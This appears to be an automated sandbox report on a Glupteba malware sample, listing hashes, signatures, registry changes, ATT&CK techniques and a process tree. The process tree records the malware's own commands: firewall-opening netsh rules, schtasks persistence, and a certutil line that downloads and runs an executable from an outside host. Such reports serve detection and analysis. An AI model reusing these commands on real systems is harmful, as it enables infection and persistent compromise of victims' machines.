glupteba | 6be50ece7dd7688a2c951307b1eb8a78544dc360fccb3dcc44b42e33c7d3351a

General

Target

6be50ece7dd7688a2c951307b1eb8a78544dc360fccb3dcc44b42e33c7d3351a.exe
Size

3.9MB
MD5

c40e14338592240c54c328318963b3bb
SHA1

0026ef8f4f8baaeda070e1f306e2a7618a8b2e6d
SHA256

6be50ece7dd7688a2c951307b1eb8a78544dc360fccb3dcc44b42e33c7d3351a
SHA512

292bb0075078174a848ee6a7ce74654bcfbdb1ba590461c9cc3203ae9d0286a5965c34ff6b317d05372e517238c504aeb0dc1ae9523ca6a311ec27c6583aab95

Score

10^/10

glupteba discovery dropper evasion loader persistence

Malware Config

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba Payload 4 IoCs

Processes:

resource	yara_rule
behavioral2/memory/3416-131-0x0000000002D90000-0x0000000003486000-memory.dmp	family_glupteba
behavioral2/memory/3416-132-0x0000000000400000-0x0000000000B10000-memory.dmp	family_glupteba
behavioral2/memory/4052-137-0x0000000000400000-0x0000000000B10000-memory.dmp	family_glupteba
behavioral2/memory/4736-148-0x0000000000400000-0x0000000000B10000-memory.dmp	family_glupteba

Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs

Processes:

svchost.exe

description	pid	process	target process
PID 2312 created 3416	2312	svchost.exe	6be50ece7dd7688a2c951307b1eb8a78544dc360fccb3dcc44b42e33c7d3351a.exe
PID 2312 created 4736	2312	svchost.exe	csrss.exe
PID 2312 created 4736	2312	svchost.exe	csrss.exe
PID 2312 created 4736	2312	svchost.exe	csrss.exe

Executes dropped EXE 2 IoCs

Processes:

csrss.exepatch.exe

pid process

4736 csrss.exe
4992 patch.exe
Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031

pid	process
4736	csrss.exe
4992	patch.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

6be50ece7dd7688a2c951307b1eb8a78544dc360fccb3dcc44b42e33c7d3351a.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WildWater = "\"C:\\Windows\\rss\\csrss.exe\""	6be50ece7dd7688a2c951307b1eb8a78544dc360fccb3dcc44b42e33c7d3351a.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Modifies boot configuration data using bcdedit 1 IoCs

Processes:

bcdedit.exe

pid process

3320 bcdedit.exe

pid	process
3320	bcdedit.exe

Drops file in Windows directory 2 IoCs

Processes:

6be50ece7dd7688a2c951307b1eb8a78544dc360fccb3dcc44b42e33c7d3351a.exe

description	ioc	process
File opened for modification	C:\Windows\rss	6be50ece7dd7688a2c951307b1eb8a78544dc360fccb3dcc44b42e33c7d3351a.exe
File created	C:\Windows\rss\csrss.exe	6be50ece7dd7688a2c951307b1eb8a78544dc360fccb3dcc44b42e33c7d3351a.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

2196 schtasks.exe
3456 schtasks.exe

pid	process
2196	schtasks.exe
3456	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

csrss.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-242 = "Samoa Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-632 = "Tokyo Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2631 = "Norfolk Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-212 = "Pacific Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2451 = "Saint Pierre Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2612 = "Bougainville Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-571 = "China Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-42 = "E. South America Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-442 = "Arabian Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-82 = "Atlantic Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-672 = "AUS Eastern Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-182 = "Mountain Standard Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2942 = "Sao Tome Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1971 = "Belarus Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-112 = "Eastern Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-364 = "Middle East Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1022 = "Bangladesh Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-71 = "Newfoundland Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-691 = "Tasmania Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2041 = "Eastern Daylight Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-531 = "Sri Lanka Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1831 = "Russia TZ 2 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1041 = "Ulaanbaatar Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2792 = "Novosibirsk Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2592 = "Tocantins Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-662 = "Cen. Australia Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2532 = "Chatham Islands Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2512 = "Lord Howe Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2891 = "Sudan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-601 = "Taipei Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-251 = "Dateline Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-622 = "Korea Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-301 = "Romance Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-542 = "Myanmar Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-501 = "Nepal Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1911 = "Russia TZ 10 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-151 = "Central America Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-722 = "Central Pacific Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-772 = "Montevideo Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2571 = "Turks and Caicos Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-41 = "E. South America Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1722 = "Libya Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-791 = "SA Western Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-172 = "Central Standard Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2872 = "Magallanes Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2322 = "Sakhalin Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-561 = "SE Asia Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-272 = "Greenwich Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2342 = "Haiti Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-32 = "Mid-Atlantic Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-3142 = "South Sudan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1412 = "Syria Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-721 = "Central Pacific Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-331 = "E. Europe Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2372 = "Easter Island Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2511 = "Lord Howe Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-771 = "Montevideo Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1932 = "Russia TZ 11 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1411 = "Syria Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2591 = "Tocantins Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-731 = "Fiji Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-361 = "GTB Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-335 = "Jordan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-252 = "Dateline Standard Time"	csrss.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

6be50ece7dd7688a2c951307b1eb8a78544dc360fccb3dcc44b42e33c7d3351a.exe6be50ece7dd7688a2c951307b1eb8a78544dc360fccb3dcc44b42e33c7d3351a.execsrss.exe

pid	process
3416	6be50ece7dd7688a2c951307b1eb8a78544dc360fccb3dcc44b42e33c7d3351a.exe
3416	6be50ece7dd7688a2c951307b1eb8a78544dc360fccb3dcc44b42e33c7d3351a.exe
4052	6be50ece7dd7688a2c951307b1eb8a78544dc360fccb3dcc44b42e33c7d3351a.exe
4052	6be50ece7dd7688a2c951307b1eb8a78544dc360fccb3dcc44b42e33c7d3351a.exe
4736	csrss.exe
4736	csrss.exe
4736	csrss.exe
4736	csrss.exe

Suspicious use of AdjustPrivilegeToken 17 IoCs

Processes:

6be50ece7dd7688a2c951307b1eb8a78544dc360fccb3dcc44b42e33c7d3351a.exesvchost.execsrss.exe

description	pid	process
Token: SeDebugPrivilege	3416	6be50ece7dd7688a2c951307b1eb8a78544dc360fccb3dcc44b42e33c7d3351a.exe
Token: SeImpersonatePrivilege	3416	6be50ece7dd7688a2c951307b1eb8a78544dc360fccb3dcc44b42e33c7d3351a.exe
Token: SeTcbPrivilege	2312	svchost.exe
Token: SeTcbPrivilege	2312	svchost.exe
Token: SeBackupPrivilege	2312	svchost.exe
Token: SeRestorePrivilege	2312	svchost.exe
Token: SeBackupPrivilege	2312	svchost.exe
Token: SeRestorePrivilege	2312	svchost.exe
Token: SeBackupPrivilege	2312	svchost.exe
Token: SeRestorePrivilege	2312	svchost.exe
Token: SeBackupPrivilege	2312	svchost.exe
Token: SeRestorePrivilege	2312	svchost.exe
Token: SeSystemEnvironmentPrivilege	4736	csrss.exe
Token: SeBackupPrivilege	2312	svchost.exe
Token: SeRestorePrivilege	2312	svchost.exe
Token: SeBackupPrivilege	2312	svchost.exe
Token: SeRestorePrivilege	2312	svchost.exe

Suspicious use of WriteProcessMemory 22 IoCs

Processes:

svchost.exe6be50ece7dd7688a2c951307b1eb8a78544dc360fccb3dcc44b42e33c7d3351a.execmd.execmd.execsrss.exe

description	pid	process	target process
PID 2312 wrote to memory of 4052	2312	svchost.exe	6be50ece7dd7688a2c951307b1eb8a78544dc360fccb3dcc44b42e33c7d3351a.exe
PID 2312 wrote to memory of 4052	2312	svchost.exe	6be50ece7dd7688a2c951307b1eb8a78544dc360fccb3dcc44b42e33c7d3351a.exe
PID 2312 wrote to memory of 4052	2312	svchost.exe	6be50ece7dd7688a2c951307b1eb8a78544dc360fccb3dcc44b42e33c7d3351a.exe
PID 4052 wrote to memory of 4196	4052	6be50ece7dd7688a2c951307b1eb8a78544dc360fccb3dcc44b42e33c7d3351a.exe	cmd.exe
PID 4052 wrote to memory of 4196	4052	6be50ece7dd7688a2c951307b1eb8a78544dc360fccb3dcc44b42e33c7d3351a.exe	cmd.exe
PID 4196 wrote to memory of 5072	4196	cmd.exe	netsh.exe
PID 4196 wrote to memory of 5072	4196	cmd.exe	netsh.exe
PID 4052 wrote to memory of 4604	4052	6be50ece7dd7688a2c951307b1eb8a78544dc360fccb3dcc44b42e33c7d3351a.exe	cmd.exe
PID 4052 wrote to memory of 4604	4052	6be50ece7dd7688a2c951307b1eb8a78544dc360fccb3dcc44b42e33c7d3351a.exe	cmd.exe
PID 4604 wrote to memory of 1956	4604	cmd.exe	netsh.exe
PID 4604 wrote to memory of 1956	4604	cmd.exe	netsh.exe
PID 4052 wrote to memory of 4736	4052	6be50ece7dd7688a2c951307b1eb8a78544dc360fccb3dcc44b42e33c7d3351a.exe	csrss.exe
PID 4052 wrote to memory of 4736	4052	6be50ece7dd7688a2c951307b1eb8a78544dc360fccb3dcc44b42e33c7d3351a.exe	csrss.exe
PID 4052 wrote to memory of 4736	4052	6be50ece7dd7688a2c951307b1eb8a78544dc360fccb3dcc44b42e33c7d3351a.exe	csrss.exe
PID 2312 wrote to memory of 2196	2312	svchost.exe	schtasks.exe
PID 2312 wrote to memory of 2196	2312	svchost.exe	schtasks.exe
PID 2312 wrote to memory of 3456	2312	svchost.exe	schtasks.exe
PID 2312 wrote to memory of 3456	2312	svchost.exe	schtasks.exe
PID 2312 wrote to memory of 4992	2312	svchost.exe	patch.exe
PID 2312 wrote to memory of 4992	2312	svchost.exe	patch.exe
PID 4736 wrote to memory of 3320	4736	csrss.exe	bcdedit.exe
PID 4736 wrote to memory of 3320	4736	csrss.exe	bcdedit.exe

C:\Users\Admin\AppData\Local\Temp\6be50ece7dd7688a2c951307b1eb8a78544dc360fccb3dcc44b42e33c7d3351a.exe
"C:\Users\Admin\AppData\Local\Temp\6be50ece7dd7688a2c951307b1eb8a78544dc360fccb3dcc44b42e33c7d3351a.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3416

C:\Users\Admin\AppData\Local\Temp\6be50ece7dd7688a2c951307b1eb8a78544dc360fccb3dcc44b42e33c7d3351a.exe
"C:\Users\Admin\AppData\Local\Temp\6be50ece7dd7688a2c951307b1eb8a78544dc360fccb3dcc44b42e33c7d3351a.exe"
2⤵
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4052

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:4196

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
4⤵
PID:5072

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\83876a664c4b\83876a664c4b\83876a664c4b.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:4604

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\83876a664c4b\83876a664c4b\83876a664c4b.exe" enable=yes
4⤵
PID:1956

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe ""
3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4736

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
4⤵
- Creates scheduled task(s)
PID:2196

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://10gamestop.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
4⤵
- Creates scheduled task(s)
PID:3456

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
4⤵
- Executes dropped EXE
PID:4992

C:\Windows\system32\bcdedit.exe
C:\Windows\Sysnative\bcdedit.exe /v
4⤵
- Modifies boot configuration data using bcdedit
PID:3320

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2312

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Modify Existing Service

1

T1031

Registry Run Keys / Startup Folder

1

T1060

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
C:\Windows\rss\csrss.exe
Filesize
3.9MB

MD5
c40e14338592240c54c328318963b3bb

SHA1
0026ef8f4f8baaeda070e1f306e2a7618a8b2e6d

SHA256
6be50ece7dd7688a2c951307b1eb8a78544dc360fccb3dcc44b42e33c7d3351a

SHA512
292bb0075078174a848ee6a7ce74654bcfbdb1ba590461c9cc3203ae9d0286a5965c34ff6b317d05372e517238c504aeb0dc1ae9523ca6a311ec27c6583aab95

Download Submit
C:\Windows\rss\csrss.exe
Filesize
3.9MB

MD5
c40e14338592240c54c328318963b3bb

SHA1
0026ef8f4f8baaeda070e1f306e2a7618a8b2e6d

SHA256
6be50ece7dd7688a2c951307b1eb8a78544dc360fccb3dcc44b42e33c7d3351a

SHA512
292bb0075078174a848ee6a7ce74654bcfbdb1ba590461c9cc3203ae9d0286a5965c34ff6b317d05372e517238c504aeb0dc1ae9523ca6a311ec27c6583aab95

Download Submit
memory/1956-139-0x0000000000000000-mapping.dmp

Download
memory/2196-143-0x0000000000000000-mapping.dmp

Download
memory/3320-149-0x0000000000000000-mapping.dmp

Download
memory/3416-130-0x00000000029E3000-0x0000000002D89000-memory.dmp

Filesize
3.6MB

Download
memory/3416-131-0x0000000002D90000-0x0000000003486000-memory.dmp

Filesize
7.0MB

Download
memory/3416-132-0x0000000000400000-0x0000000000B10000-memory.dmp

Filesize
7.1MB

Download
memory/3456-144-0x0000000000000000-mapping.dmp

Download
memory/4052-133-0x0000000000000000-mapping.dmp

Download
memory/4052-137-0x0000000000400000-0x0000000000B10000-memory.dmp

Filesize
7.1MB

Download
memory/4052-135-0x0000000002819000-0x0000000002BBF000-memory.dmp

Filesize
3.6MB

Download
memory/4196-134-0x0000000000000000-mapping.dmp

Download
memory/4604-138-0x0000000000000000-mapping.dmp

Download
memory/4736-140-0x0000000000000000-mapping.dmp

Download
memory/4736-145-0x0000000002D00000-0x00000000030A6000-memory.dmp

Filesize
3.6MB

Download
memory/4736-148-0x0000000000400000-0x0000000000B10000-memory.dmp

Filesize
7.1MB

Download
memory/4992-146-0x0000000000000000-mapping.dmp

Download
memory/5072-136-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads